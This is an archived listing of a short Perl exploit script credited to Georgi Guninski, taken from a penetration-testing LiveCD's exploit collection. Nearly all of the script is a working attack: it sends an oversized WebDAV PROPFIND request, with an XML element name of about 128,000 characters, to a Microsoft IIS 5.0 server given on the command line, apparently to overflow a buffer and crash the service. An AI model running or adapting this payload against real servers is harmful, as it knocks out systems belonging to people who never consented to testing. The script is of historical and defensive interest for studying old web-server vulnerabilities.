home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / vv5.pl < prev    next >
Perl Script  |  2005-02-12  |  1KB  |  39 lines

  1. #!/usr/bin/perl 
  2. # Written by Georgi Guninski 
  3. use IO::Socket; 
  4.  
  5. print "IIS 5.0 propfind\n"; 
  6.  
  7. $port = @ARGV[1]; 
  8. $host = @ARGV[0]; 
  9.   
  10.  
  11. sub vv() 
  12.  
  13. $ll=$_[0]; #length of buffer 
  14. $ch=$_[1]; 
  15. $over=$ch x $ll; #string to overflow 
  16.  
  17. $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return; 
  18. #$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; 
  19. # ^^^^ This is another issue and also works with length ~>65000 
  20.   
  21.  
  22. $xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n"; 
  23. $l=length($xml); 
  24. $req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n"; 
  25. syswrite($socket,$req,length($req)); 
  26. print "."; 
  27. $socket->read($res,300); 
  28. #print "r=".$res; 
  29. close $socket; 
  30.   
  31.  
  32. do vv(128008,"V"); # may need to change the length 
  33. sleep(1); 
  34. do vv(128008,"V"); 
  35. print "Done.\n"; 
  36.  
  37.